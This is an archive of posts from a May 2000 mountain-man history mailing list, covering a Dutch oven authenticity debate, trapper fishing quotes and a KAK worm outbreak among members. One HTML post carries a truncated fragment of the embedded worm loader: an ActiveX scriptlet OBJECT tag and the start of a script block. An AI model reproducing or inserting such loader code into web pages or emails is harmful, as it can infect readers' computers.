>>> >>The facts have already been established once and for all by the Fort
>>Union
>>> >>Trading Post.  Cast iron artifacts of both types were present in the
>>> >>mountain man period.
>>> >>Walt
>>> >>Park City, Montana
>>> >>
>>> >>
>>> >>
>>> >>> You guys aren't really serious about starting round
>>> >>> two of the dutch oven debacle, are you???
>>> >>>
>>> >>> Tom
>>> >>
>>> >>
>>> >>
>>> >>----------------------
>>> >>hist_text list info:
http://www.xmission.com/~drudy/mtman/maillist.html
>>> >>
>>> >
>>> >
>>> >----------------------
>>> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>> >
>>>
>>> ----------------------
>>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>>
>>
>>
>>
>>----------------------
>>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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-------------------------------------------------------------------------------

From: "Addison Miller" <[e-mail]>
Subject: Re: MtMan-List: Virus
Date: 30 May 2000 22:45:26 -0400

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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Here is the virus that was sent... hope it helps everyone... This was =
from my Norton Log...

Ad Miller




The file

C:\windows\Start Menu\Programs\StartUp\kak.hta

was infected with the WScript.KakWorm virus.

The file was deleted.

  ----- Original Message -----=20
  From: Marilyn R. NIchols=20
  To: [e-mail]=20
  Sent: Tuesday, May 30, 2000 10:28 PM
  Subject: MtMan-List: Virus


  If anyone on the list knows the name of the virus that we received =
last night please reply to me as soon as possible.  One of the long time =
members of this list has been affected with the virus and needs the name =
in hopes that his system can be saved.  Thanks.

  Marilyn
  [e-mail]

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    charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<P><FONT face=3DArial size=3D2>Here is the virus that was sent... hope =
it helps=20
everyone... This was from my Norton Log...</FONT></P>
<P><FONT face=3DArial size=3D2>Ad Miller</FONT></P>
<P><FONT size=3D4></FONT> </P>
<P><FONT size=3D4>Date: 5/29/00, Time: 21:00:00, Default on =
12345</FONT></P>
<P><FONT size=3D4>The file</FONT></P>
<P><FONT size=3D4>C:\windows\Start =
Menu\Programs\StartUp\kak.hta</FONT></P>
<P><FONT size=3D4>was infected with the WScript.KakWorm =
virus.</FONT></P>
<P><FONT size=3D4>The file was deleted.</FONT></P></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:[e-mail]" =
title=[e-mail]>Marilyn=20
  R. NIchols</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:[e-mail]"=20
  title=[e-mail]>[e-mail]</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, May 30, 2000 =
10:28=20
PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> MtMan-List: =
Virus</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DTahoma size=3D2>If anyone on the list knows the name =
of the=20
  virus that we received last night please reply to me as soon as=20
  possible.  One of the long time members of this list has been =
affected=20
  with the virus and needs the name in hopes that his system can be =
saved. =20
  Thanks.</FONT></DIV>
  <DIV> </DIV>
  <DIV><FONT face=3DTahoma size=3D2>Marilyn</FONT></DIV>
  <DIV><FONT face=3DTahoma size=3D2><A=20
  =
href=3D"mailto:[e-mail]">[e-mail]</A></FONT><=
/DIV></BLOCKQUOTE></BODY></HTML>

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-------------------------------------------------------------------------------

From: "Addison Miller" <[e-mail]>
Subject: Re: MtMan-List: Virus
Date: 30 May 2000 22:49:35 -0400

This is a multi-part message in MIME format.

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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

According to Norton, it only affects documents, and is passed via emails =
without the sender knowing it. It is a common virus,but is not supposed =
to be "lethal"..

Ad Miller
  ----- Original Message -----=20
  From: Marilyn R. NIchols=20
  To: [e-mail]=20
  Sent: Tuesday, May 30, 2000 10:28 PM
  Subject: MtMan-List: Virus


  If anyone on the list knows the name of the virus that we received =
last night please reply to me as soon as possible.  One of the long time =
members of this list has been affected with the virus and needs the name =
in hopes that his system can be saved.  Thanks.

  Marilyn
  [e-mail]

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    charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>According to Norton, it only affects =
documents, and=20
is passed via emails without the sender knowing it. It is a common =
virus,but is=20
not supposed to be "lethal"..</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>Ad Miller</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:[e-mail]" =
title=[e-mail]>Marilyn=20
  R. NIchols</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:[e-mail]"=20
  title=[e-mail]>[e-mail]</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, May 30, 2000 =
10:28=20
PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> MtMan-List: =
Virus</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DTahoma size=3D2>If anyone on the list knows the name =
of the=20
  virus that we received last night please reply to me as soon as=20
  possible.  One of the long time members of this list has been =
affected=20
  with the virus and needs the name in hopes that his system can be =
saved. =20
  Thanks.</FONT></DIV>
  <DIV> </DIV>
  <DIV><FONT face=3DTahoma size=3D2>Marilyn</FONT></DIV>
  <DIV><FONT face=3DTahoma size=3D2><A=20
  =
href=3D"mailto:[e-mail]">[e-mail]</A></FONT><=
/DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0051_01BFCA89.53B58AC0--


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hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


-------------------------------------------------------------------------------

From: "Ratcliff" <[e-mail]>
Subject: MtMan-List: gone under???
Date: 30 May 2000 21:57:19 -0500

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Content-Transfer-Encoding: quoted-printable


Ok, here is something.

I have read numerous references to beaver tail being a "delicacy" or a =
"dainty" or some such.  Until I know from first hand experience I will =
remain skeptical about how tasty beaver tail is.  Seems like a beaver =
filet or a drumstick would be a more likely meal.  I would appreciate =
some first hand info.

In trade here is something I do know: =20
Armadillo meat has 780 calories per pound and is dang tasty....even if =
there are some mighty peculiar bones in the little varmits.  They shuck =
out of their shells very easily and the fat on their back bastes them as =
they roast before a fire.  If you ever chase one into a hole he will =
grip the sides of the hole like grim death.  To get him out,  grab his =
tail and goose him in the belly with a ramrod.  He will let got for a =
second and you can snatch him out of his hide-out.  Whack him in the =
head with the poll of your hawk and let him flop for a minute or two.    =
His shell is well known, but his underside is just skin and is covered =
with alien looking hairs.....make you pause and think it over before =
your put your knife to work.  One word of caution....Armadillos =
sometimes carry a variety of leprosy and you shouldn't handle one if you =
have open cuts on your hands and he should be cooked "well done".  =
Experts swear that the leprosy they sometimes carry (in Louisana mostly) =
isn't dangerous to humans but being careful is best.

I am not making this up.  Really.
YMOS
Lanney Ratcliff


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<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2014.210" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV> </DIV>
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<OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20
id=3Dscr></OBJECT></DIV>
<DIV><FONT size=3D3>Ok, here is something.</FONT></DIV>
<DIV> </DIV>
<DIV>I have read numerous references to beaver tail being a "delicacy" =
or a=20
"dainty" or some such.  Until I know from first hand experience I =
will=20
remain skeptical about how tasty beaver tail is.  Seems like a =
beaver filet=20
or a drumstick would be a more likely meal.  I would appreciate =
some first=20
hand info.</DIV>
<DIV> </DIV>
<DIV><FONT size=3D3>In trade here is something I do know:  =
</FONT></DIV>
<DIV><FONT size=3D3>Armadillo meat has 780 calories per pound and is =
dang=20
tasty....even if there are some mighty peculiar bones in the little=20
varmits.  They shuck out of their shells very easily and the fat on =
their=20
back bastes them as they roast before a fire.  If you ever chase =
one into a=20
hole he will grip the sides of the hole like grim death.  To get =
him out, =20
grab his tail and goose him in the belly with a ramrod.  He will =
let got=20
for a second and you can snatch him out of his hide-out.  Whack him =
in the=20
head with the poll of your hawk and let him flop for a minute or=20
two.    His shell is well known, but his underside is =
just skin=20
and is covered with alien looking hairs.....make you pause and think it =
over=20
before your put your knife to work.  One word of =
caution....Armadillos=20
sometimes carry a variety of leprosy and you shouldn't handle one if you =
have=20
open cuts on your hands and he should be cooked "well done".  =
Experts swear=20
that the leprosy they sometimes carry (in Louisana mostly) isn't =
dangerous=20
to humans but being careful is best.</FONT></DIV>
<DIV> </DIV>
<DIV>I am not making this up.  Really.</DIV>
<DIV>YMOS</DIV>
<DIV>Lanney Ratcliff</DIV>
<DIV><FONT size=3D3>
<SCRIPT><!--
function sErr(){return =
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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Virus
Date: 30 May 2000 23:35:37 EDT

WOULD SOMEBODY PLEASE LET ME (AND MAYBE THE LIST ALSO WANTS TO KNOW) WHAT
MAIL THAT 'VIRUS' WAS CONTAINED IN, IF IT WAS AN ATTACHMENT, WHAT KIND, WHAT
IT WAS CALLED, ETC.  THANKS. BARNEY

----------------------
hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Mountain Men fishing?
Date: 30 May 2000 23:44:43 EDT

Quotes from "A Life Wild and Perilous" by Robert M. Utley:  Discussing
Robinson, Hoback and Resnor who had departed from the Astorians and made
winter camp in the vicinity of the Medicine Bows.    Quote " Game continued
scarce, with the few fish that could be taken from the streams furnishing a
bare subsistance."  Later, "On a hot August 20, John Hoback fished in the
Snake while his three companioons rested in the willows."

----------------------
hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


-------------------------------------------------------------------------------

From: Jerry & Barbara Zaslow <[e-mail]>
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 30 May 2000 22:07:13 -0700 (PDT)

Ole,

Sounds like you would need a good rig and wagon or a lot of pack animals for
all that.  Sounds about right to me.

Jerry #1488
________________________________________________________________________________

At 04:41 PM 05/30/2000 -0600, you wrote:
>Jerry,
>Just came back from Cache Valley Rendezvous (Park and Drop) it was held up
>Black Smiths Fork south east of Logan Utah (Willow Valley) Why is it called
>Black Smiths Fork?
>120 lb Anvil= 20 Cast Iron pots/keatles ? ya think, maybe
>Ole # 718
>----------
>>From: Jerry & Barbara Zaslow <[e-mail]>
>>To: [e-mail]
>>Subject: Re: MtMan-List: The Great Dutch Oven Debate
>>Date: Sat, May 27, 2000, 10:23 PM
>>
>
>>Well looks like you guys want to get into the Dutch Oven authenticity stuff
>>again.  Maybe you should think about logic also.
>>
>>I've said this before (and let me make it clear that this is ONLY my
>>opinion) but what would an average mountaineer have carried?  A Dutch Oven,
>>a brazier or any other kind of heavy shit like that?  Well if I were there
>>back then, that would be the last thing I would carry with me.  Sure some of
>>it was out there and available during the time period, but so was a
>>submarine, hot air balloon and a bunch of other stuff that would not be
>>appropriate in the mountains.
>>
>>My view is, just because you can document something only proves it was
>>there, not that it was common.  I can document a lot of stuff that William
>>Drummond Stewart took to Rendezvous in 1837.  Does it mean if everyone wants
>>to have something at Rendezvous that he brought, which was uncommon, it
>>would be OK?  Only if you think it would be OK for half the people at
>>Rendezvous to portray Stewart.
>>
>>I cook with stuff as simple as possible.  That means with sticks over the
>>fire, a small tin boiler and maybe a small folding steel frying pan.  I also
>>bring as little as possible.  I've learned that less is more and my horse
>>agrees.
>>
>>Just my 2 cents.
>>
>>Best Regards,
>>
>>Jerry (Meriwether) Zaslow #1488
>>__________________________________________________________________________
______
>>
>>
>>>No Sir,
>>>
>>>The facts have already been established once and for all by the Fort Union
>>>Trading Post.  Cast iron artifacts of both types were present in the
>>>mountain man period.
>>>Walt
>>>Park City, Montana
>>>
>>>
>>>
>>>> You guys aren't really serious about starting round
>>>> two of the dutch oven debacle, are you???
>>>>
>>>> Tom
>>>
>>>
>>>
>>>----------------------
>>>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>>
>>
>>
>>----------------------
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>>
>
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>


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-------------------------------------------------------------------------------

From: Allen Hall <[e-mail]>
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 30 May 2000 23:09:58 -0600

Hello the cooking crew,

Here's an idea.  An anvil is a specialized instrument, and not much else can
do the job it does.  A cast iron "dutch oven" doesn't do much more than the
kettles and pots that we positively KNOW were out here.

Why would mountain men use cast iron?  What can it do that sheet steel and
sheet iron kettles can't.  They weren't cooking bread!

Guess I'd like to hear why they'd bring them, then we can calculate if they did.
Now if it's just convienient for today's doings that's ok, just say so, and
leave it go at that.

Allen


----------------------
hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


-------------------------------------------------------------------------------

From: Allen Hall <[e-mail]>
Subject: Re: MtMan-List: Mountain Men Fishing
Date: 30 May 2000 23:25:54 -0600

Hello the list,

About fishing, in July of 1837 Osborne Russell talked about fishing at the
outlet of Jackson's Lake,

"July 4th I caught about 20 very fine salmon trout which together with fat
mutton buffaloe beef and coffee and the manner in which it was served up
constituted a dinner that ought to be considered independent even by Britons".

Page 97, Journal of a Trapper, by Osborne Russell.

Allen
Allen Hall #1729 from Fort Hall country


----------------------
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-------------------------------------------------------------------------------

From: "Frank Fusco" <[e-mail]>
Subject: MtMan-List: Dutch ovens
Date: 31 May 2000 07:24:24 -0500

Think I have read this book before!
Frank


----------------------
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-------------------------------------------------------------------------------

From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 31 May 2000 06:38:54 -0600

Capt,
It seems to me that if I were back in those day's I would trade for plews
more than trap for them, having the local indians do the work wrather then
having to wade into a frozen stream myself. As most of the traders know, it
is hard to antisipate what will sell so you bring a lot of diferent items.
The question a while back was, why haul cast iron cooking gear to the
mountains?
To trade and to use, then use the animals that hauled the trade goods in to
haul the pelts out.
Ole # 718
----------
>From: "Roger Lahti" <[e-mail]>
>To: <[e-mail]>
>Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
>Date: Tue, May 30, 2000, 8:02 PM
>

>Ole,
>
>OK pard, got ya! Way it was worded I was thinking otherwise. I see the logic
>in your response below and don't have much trouble seeing that sort of thing
>being done either. Now back to our regularly scheduled program. <G> I
>remain.....
>
>YMOS
>Capt. Lahti'
>----- Original Message -----
>From: "Ole B. Jensen" <[e-mail]>
>To: <[e-mail]>
>Sent: Tuesday, May 30, 2000 5:52 PM
>Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
>
>
>> Capt"
>> Not Even!
>> Just making a statement as to what they would and could have hauled in on
>> horse back or by cart.
>> An anvil would weigh from 60 to 150 pounds and there are journals that
>> memtion them being hauled into the mountain's. On that note they could
>have
>> hauled 20 pots made of cast iron to equal one 120 pound anvil. It's
>amazing
>> to me what they hauled in.
>> If I were traping and trading for beaver I would haul in all sorts of
>goods
>> for trade including cast iron.
>> Ole # 718
>> ----------
>> >From: "Roger Lahti" <[e-mail]>
>> >To: <[e-mail]>
>> >Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
>> >Date: Tue, May 30, 2000, 6:14 PM
>> >
>>
>> >Ole,
>> >
>> >Mind if I wonder a bit about the thought process here a little? <G> I
>> >presume that you are suggesting the idea that the anvil was made into
>cast
>> >iron pots?
>> >
>> >>From what little I know about cast iron foundry work, it is a very
>> >specialized process that requires not only special equipment in the form
>of
>> >a smelter but also just the right fuels to get the metal to melt and
>pour,
>> >etc. not to mention the special sands and molds that would be required.
>> >
>> >I would respectfully submit that such would not have been even remotely
>> >possible anywhere west of the Great River during that time. Only
>supposition
>> >on my part but I think that is correct. I remain.....
>> >
>> >YMOS
>> >Capt. Lahti'
>> >----- Original Message -----
>> >From: "Ole B. Jensen" <[e-mail]>
>> >To: <[e-mail]>
>> >Sent: Tuesday, May 30, 2000 3:41 PM
>> >Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
>> >
>> >
>> >> Jerry,
>> >> Just came back from Cache Valley Rendezvous (Park and Drop) it was held
>up
>> >> Black Smiths Fork south east of Logan Utah (Willow Valley) Why is it
>> >called
>> >> Black Smiths Fork?
>> >> 120 lb Anvil= 20 Cast Iron pots/keatles ? ya think, maybe
>> >> Ole # 718
>> >> ----------
>> >> >From: Jerry & Barbara Zaslow <[e-mail]>
>> >> >To: [e-mail]
>> >> >Subject: Re: MtMan-List: The Great Dutch Oven Debate
>> >> >Date: Sat, May 27, 2000, 10:23 PM
>> >> >
>> >>
>> >> >Well looks like you guys want to get into the Dutch Oven authenticity
>> >stuff
>> >> >again.  Maybe you should think about logic also.
>> >> >
>> >> >I've said this before (and let me make it clear that this is ONLY my
>> >> >opinion) but what would an average mountaineer have carried?  A Dutch
>> >Oven,
>> >> >a brazier or any other kind of heavy shit like that?  Well if I were
>> >there
>> >> >back then, that would be the last thing I would carry with me.  Sure
>some
>> >of
>> >> >it was out there and available during the time period, but so was a
>> >> >submarine, hot air balloon and a bunch of other stuff that would not
>be
>> >> >appropriate in the mountains.
>> >> >
>> >> >My view is, just because you can document something only proves it was
>> >> >there, not that it was common.  I can document a lot of stuff that
>> >William
>> >> >Drummond Stewart took to Rendezvous in 1837.  Does it mean if everyone
>> >wants
>> >> >to have something at Rendezvous that he brought, which was uncommon,
>it
>> >> >would be OK?  Only if you think it would be OK for half the people at
>> >> >Rendezvous to portray Stewart.
>> >> >
>> >> >I cook with stuff as simple as possible.  That means with sticks over
>the
>> >> >fire, a small tin boiler and maybe a small folding steel frying pan.
>I
>> >also
>> >> >bring as little as possible.  I've learned that less is more and my ho
>rse
>> >> >agrees.
>> >> >
>> >> >Just my 2 cents.
>> >> >
>> >> >Best Regards,
>> >> >
>> >> >Jerry (Meriwether) Zaslow #1488
>> >>
>>
>>>__________________________________________________________________________
>_
>> >_____
>> >> >
>> >> >
>> >> >>No Sir,
>> >> >>
>> >> >>The facts have already been established once and for all by the Fort
>> >Union
>> >> >>Trading Post.  Cast iron artifacts of both types were present in the
>> >> >>mountain man period.
>> >> >>Walt
>> >> >>Park City, Montana
>> >> >>
>> >> >>
>> >> >>
>> >> >>> You guys aren't really serious about starting round
>> >> >>> two of the dutch oven debacle, are you???
>> >> >>>
>> >> >>> Tom
>> >> >>
>> >> >>
>> >> >>
>> >> >>----------------------
>> >> >>hist_text list info:
>http://www.xmission.com/~drudy/mtman/maillist.html
>> >> >>
>> >> >
>> >> >
>> >> >----------------------
>> >> >hist_text list info:
>http://www.xmission.com/~drudy/mtman/maillist.html
>> >> >
>> >>
>> >> ----------------------
>> >> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>> >>
>> >
>> >
>> >
>> >----------------------
>> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>> >
>>
>> ----------------------
>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

----------------------
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-------------------------------------------------------------------------------

From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List: Virus
Date: 31 May 2000 07:33:44 -0700

This is a multi-part message in MIME format.

------=_NextPart_000_009A_01BFCAD2.8D1575C0
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I was infected with four.  Actually worms I believe.  1) 08f4580.hta/The =
WScript/KAK.worm
2) kak.hta 3)kak.htm and 4)autoexec.bat/kak.worm=20
=20
Despite McAfee, am still repairing the damge and reinstalling program =
files that I was required to delete.  Also, have noticed that I have =
received several similar ones this morning, all successfully deleted =
from several list members, including Lanney. =20

Regards, Paul=20


  ----- Original Message -----=20


  From: Marilyn R. NIchols=20
  To: [e-mail]=20
  Sent: Tuesday, May 30, 2000 7:28 PM
  Subject: MtMan-List: Virus


  If anyone on the list knows the name of the virus that we received =
last night please reply to me as soon as possible.  One of the long time =
members of this list has been affected with the virus and needs the name =
in hopes that his system can be saved.  Thanks.

  Marilyn
  [e-mail]

------=_NextPart_000_009A_01BFCAD2.8D1575C0
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>I was infected with four.  Actually worms I=20
believe.  1) 08f4580.hta/The WScript/KAK.worm</FONT></DIV>
<DIV><FONT size=3D2>2) kak.hta 3)kak.htm and=20
4)autoexec.bat/kak.worm </FONT></DIV>
<DIV><FONT size=3D2></FONT> </DIV>
<DIV><FONT size=3D2>Despite McAfee, am still repairing the damge and =
reinstalling=20
program files that I was required to delete.  Also, have noticed =
that I=20
have received several similar ones this morning, all successfully =
deleted from=20
several list members, including Lanney.  </FONT></DIV>
<DIV> </DIV>
<DIV><FONT size=3D2>Regards, Paul<SPAN=20
id=3D__#Ath#SignaturePos__></SPAN> </FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial"> </DIV>
  <DIV style=3D"FONT: 10pt arial"> </DIV>
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV style=3D"FONT: 10pt arial"> </DIV>
  <DIV style=3D"FONT: 10pt arial"> </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:[e-mail]" =
title=[e-mail]>Marilyn=20
  R. NIchols</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:[e-mail]"=20
  title=[e-mail]>[e-mail]</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, May 30, 2000 =
7:28 PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> MtMan-List: =
Virus</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DTahoma size=3D2>If anyone on the list knows the name =
of the=20
  virus that we received last night please reply to me as soon as=20
  possible.  One of the long time members of this list has been =
affected=20
  with the virus and needs the name in hopes that his system can be =
saved. =20
  Thanks.</FONT></DIV>
  <DIV> </DIV>
  <DIV><FONT face=3DTahoma size=3D2>Marilyn</FONT></DIV>
  <DIV><FONT face=3DTahoma size=3D2><A=20
  =
href=3D"mailto:[e-mail]">[e-mail]</A></FONT><=
/DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_009A_01BFCAD2.8D1575C0--


----------------------
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-------------------------------------------------------------------------------

From: Darla <[e-mail]>
Subject: MtMan-List: Re:Virus
Date: 31 May 2000 09:08:56 -0400

The name of the Virus being passed on the list is "KAK".
 It's not too bad, but can be an annoyance.  Look on
your C drive.  If you have a file called
C/Windows\Start Menu\Programs\Startup\kak.hta, delete
it.  That will take care of your system problems, but
I'm not too sure how to keep in from spreading.
(Lanney, you definitely have it -- it's at the end of
your most recent message)

Darla Sublette
List Lurker, Geek, and
Mountain-person wanna-be (gotta be, with this name)

----------------------
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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Virus
Date: 31 May 2000 11:08:31 EDT

Hallo the list:  You should all be aware that virus scanners (McAfee, Norton,
Dr. Solomon, etc) do NOT do well in intercepting 'worms' or 'trojan horse'
type infections.  Check out a website and program called TDS-2, available at
www.diamondcs.com.au.  It is a 'script scanner' which does have a very high
chance of catching these others, and it's designed to be used in conjunction
with an 'anti-virus' program.

I would still appreciate it if someone would let me know which e-mail
contained the original instance of this 'kak' virus, and possible even send
it back to me so that i can put a couple of programs to the test.... I have
TDS set on automatic, and it caught and killed it before I was even aware it
had been sent.   Also, was it a link included in the mail, or an attachment
that had to be downloaded or what?      Thanks.  Barney

----------------------
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-------------------------------------------------------------------------------

From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 31 May 2000 08:55:55 -0700

Ole,

Sounds reasonable to me. Capt. L
----- Original Message -----
Sent: Wednesday, May 31, 2000 5:38 AM


> Capt,
> It seems to me that if I were back in those day's I would trade for plews
> more than trap for them, having the local indians do the work wrather then
> having to wade into a frozen stream myself. As most of the traders know,
it
> is hard to antisipate what will sell so you bring a lot of diferent items.
> The question a while back was, why haul cast iron cooking gear to the
> mountains?
> To trade and to use, then use the animals that hauled the trade goods in
to
> haul the pelts out.
> Ole # 718
> ----------
> >From: "Roger Lahti" <[e-mail]>
> >To: <[e-mail]>
> >Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
> >Date: Tue, May 30, 2000, 8:02 PM
> >
>
> >Ole,
> >
> >OK pard, got ya! Way it was worded I was thinking otherwise. I see the
logic
> >in your response below and don't have much trouble seeing that sort of
thing
> >being done either. Now back to our regularly scheduled program. <G> I
> >remain.....
> >
> >YMOS
> >Capt. Lahti'
> >----- Original Message -----
> >From: "Ole B. Jensen" <[e-mail]>
> >To: <[e-mail]>
> >Sent: Tuesday, May 30, 2000 5:52 PM
> >Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
> >
> >
> >> Capt"
> >> Not Even!
> >> Just making a statement as to what they would and could have hauled in
on
> >> horse back or by cart.
> >> An anvil would weigh from 60 to 150 pounds and there are journals that
> >> memtion them being hauled into the mountain's. On that note they could
> >have
> >> hauled 20 pots made of cast iron to equal one 120 pound anvil. It's
> >amazing
> >> to me what they hauled in.
> >> If I were traping and trading for beaver I would haul in all sorts of
> >goods
> >> for trade including cast iron.
> >> Ole # 718
> >> ----------
> >> >From: "Roger Lahti" <[e-mail]>
> >> >To: <[e-mail]>
> >> >Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
> >> >Date: Tue, May 30, 2000, 6:14 PM
> >> >
> >>
> >> >Ole,
> >> >
> >> >Mind if I wonder a bit about the thought process here a little? <G> I
> >> >presume that you are suggesting the idea that the anvil was made into
> >cast
> >> >iron pots?
> >> >
> >> >>From what little I know about cast iron foundry work, it is a very
> >> >specialized process that requires not only special equipment in the
form
> >of
> >> >a smelter but also just the right fuels to get the metal to melt and
> >pour,
> >> >etc. not to mention the special sands and molds that would be
required.
> >> >
> >> >I would respectfully submit that such would not have been even
remotely
> >> >possible anywhere west of the Great River during that time. Only
> >supposition
> >> >on my part but I think that is correct. I remain.....
> >> >
> >> >YMOS
> >> >Capt. Lahti'
> >> >----- Original Message -----
> >> >From: "Ole B. Jensen" <[e-mail]>
> >> >To: <[e-mail]>
> >> >Sent: Tuesday, May 30, 2000 3:41 PM
> >> >Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
> >> >
> >> >
> >> >> Jerry,
> >> >> Just came back from Cache Valley Rendezvous (Park and Drop) it was
held
> >up
> >> >> Black Smiths Fork south east of Logan Utah (Willow Valley) Why is it
> >> >called
> >> >> Black Smiths Fork?
> >> >> 120 lb Anvil= 20 Cast Iron pots/keatles ? ya think, maybe
> >> >> Ole # 718
> >> >> ----------
> >> >> >From: Jerry & Barbara Zaslow <[e-mail]>
> >> >> >To: [e-mail]
> >> >> >Subject: Re: MtMan-List: The Great Dutch Oven Debate
> >> >> >Date: Sat, May 27, 2000, 10:23 PM
> >> >> >
> >> >>
> >> >> >Well looks like you guys want to get into the Dutch Oven
authenticity
> >> >stuff
> >> >> >again.  Maybe you should think about logic also.
> >> >> >
> >> >> >I've said this before (and let me make it clear that this is ONLY
my
> >> >> >opinion) but what would an average mountaineer have carried?  A
Dutch
> >> >Oven,
> >> >> >a brazier or any other kind of heavy shit like that?  Well if I
were
> >> >there
> >> >> >back then, that would be the last thing I would carry with me.
Sure
> >some
> >> >of
> >> >> >it was out there and available during the time period, but so was a
> >> >> >submarine, hot air balloon and a bunch of other stuff that would
not
> >be
> >> >> >appropriate in the mountains.
> >> >> >
> >> >> >My view is, just because you can document something only proves it
was
> >> >> >there, not that it was common.  I can document a lot of stuff that
> >> >William
> >> >> >Drummond Stewart took to Rendezvous in 1837.  Does it mean if
everyone
> >> >wants
> >> >> >to have something at Rendezvous that he brought, which was
uncommon,
> >it
> >> >> >would be OK?  Only if you think it would be OK for half the people
at
